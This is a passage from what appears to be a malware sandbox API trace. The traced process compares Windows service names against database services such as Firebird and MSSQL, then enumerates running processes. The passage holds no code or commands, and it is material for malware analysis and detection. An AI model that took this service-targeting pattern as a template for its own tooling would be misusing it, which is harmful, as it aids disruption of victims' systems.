-1 [0161.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0161.774] lstrlenW (lpString="RpcEptMapper") returned 12 [0161.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.775] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0161.775] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0161.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0161.775] lstrlenW (lpString="RpcSs") returned 5 [0161.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0161.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0161.775] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0161.775] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0161.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0161.775] lstrlenW (lpString="SamSs") returned 5 [0161.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0161.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0161.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0161.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0161.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0161.775] lstrlenW (lpString="Schedule") returned 8 [0161.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0161.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0161.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0161.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0161.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0161.775] lstrlenW (lpString="SecurityHealthService") returned 21 [0161.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0161.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0161.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0161.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0161.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0161.775] lstrlenW (lpString="SENS") returned 4 [0161.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0161.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0161.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0161.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0161.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0161.776] lstrlenW (lpString="ShellHWDetection") returned 16 [0161.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.776] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0161.776] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0161.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0161.776] lstrlenW (lpString="Spooler") returned 7 [0161.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0161.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0161.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0161.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0161.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0161.776] lstrlenW (lpString="SSDPSRV") returned 7 [0161.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0161.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0161.776] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0161.776] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0161.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0161.776] lstrlenW (lpString="StateRepository") returned 15 [0161.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0161.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0161.776] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0161.776] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0161.776] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x881c38 | out: hHeap=0x790000) returned 1 [0161.776] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0161.781] Process32FirstW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.782] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.783] lstrlenW (lpString="System") returned 6 [0161.783] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.783] lstrlenW (lpString="smss.exe") returned 8 [0161.783] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.784] lstrlenW (lpString="csrss.exe") returned 9 [0161.784] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.784] lstrlenW (lpString="wininit.exe") returned 11 [0161.785] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.953] lstrlenW (lpString="csrss.exe") returned 9 [0161.953] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.954] lstrlenW (lpString="winlogon.exe") returned 12 [0161.954] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.954] lstrlenW (lpString="services.exe") returned 12 [0161.955] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.955] lstrlenW (lpString="lsass.exe") returned 9 [0161.955] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.956] lstrlenW (lpString="svchost.exe") returned 11 [0161.956] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.956] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.957] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.957] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.957] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.958] lstrlenW (lpString="svchost.exe") returned 11 [0161.958] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.959] lstrlenW (lpString="dwm.exe") returned 7 [0161.959] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.959] lstrlenW (lpString="svchost.exe") returned 11 [0161.959] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.960] lstrlenW (lpString="svchost.exe") returned 11 [0161.960] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.961] lstrlenW (lpString="svchost.exe") returned 11 [0161.961] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.961] lstrlenW (lpString="svchost.exe") returned 11 [0161.961] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.962] lstrlenW (lpString="svchost.exe") returned 11 [0161.962] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.963] lstrlenW (lpString="svchost.exe") returned 11 [0161.963] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.964] lstrlenW (lpString="svchost.exe") returned 11 [0161.964] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.965] lstrlenW (lpString="svchost.exe") returned 11 [0161.965] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.965] lstrlenW (lpString="svchost.exe") returned 11 [0161.965] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.966] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.966] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.967] lstrlenW (lpString="svchost.exe") returned 11 [0161.967] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.967] lstrlenW (lpString="svchost.exe") returned 11 [0161.967] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.968] lstrlenW (lpString="audiodg.exe") returned 11 [0161.968] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0161.969] lstrlenW (lpString="sihost.exe") returned 10 [0161.969] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.969] lstrlenW (lpString="svchost.exe") returned 11 [0161.969] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.970] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.970] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0161.971] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0161.971] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0161.971] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0161.971] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.972] lstrlenW (lpString="explorer.exe") returned 12 [0161.972] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0161.973] lstrlenW (lpString="Memory Compression") returned 18 [0161.973] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0161.973] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0161.973] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0161.974] lstrlenW (lpString="SearchUI.exe") returned 12 [0161.974] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.975] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.975] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.975] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.975] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.976] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.976] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0161.977] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0161.977] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0161.977] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0161.977] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0161.978] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0161.978] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0161.979] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0161.979] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0161.979] lstrlenW (lpString="conhost.exe") returned 11 [0161.979] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0161.980] lstrlenW (lpString="screensaver.exe") returned 15 [0161.980] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0161.981] lstrlenW (lpString="upperarc.exe") returned 12 [0161.981] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0161.981] lstrlenW (lpString="buying.exe") returned 10 [0161.981] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0161.982] lstrlenW (lpString="downloadable.exe") returned 16 [0161.982] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0161.983] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0161.983] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0161.983] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0161.983] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0161.984] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0161.984] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0161.985] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0161.985] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0161.985] lstrlenW (lpString="moments.exe") returned 11 [0161.985] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0161.986] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0161.986] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0161.987] lstrlenW (lpString="stream-test.exe") returned 15 [0161.987] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0161.987] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0161.987] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.017] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.017] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0162.017] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0162.017] Process32NextW (in: hSnapshot=0x358, 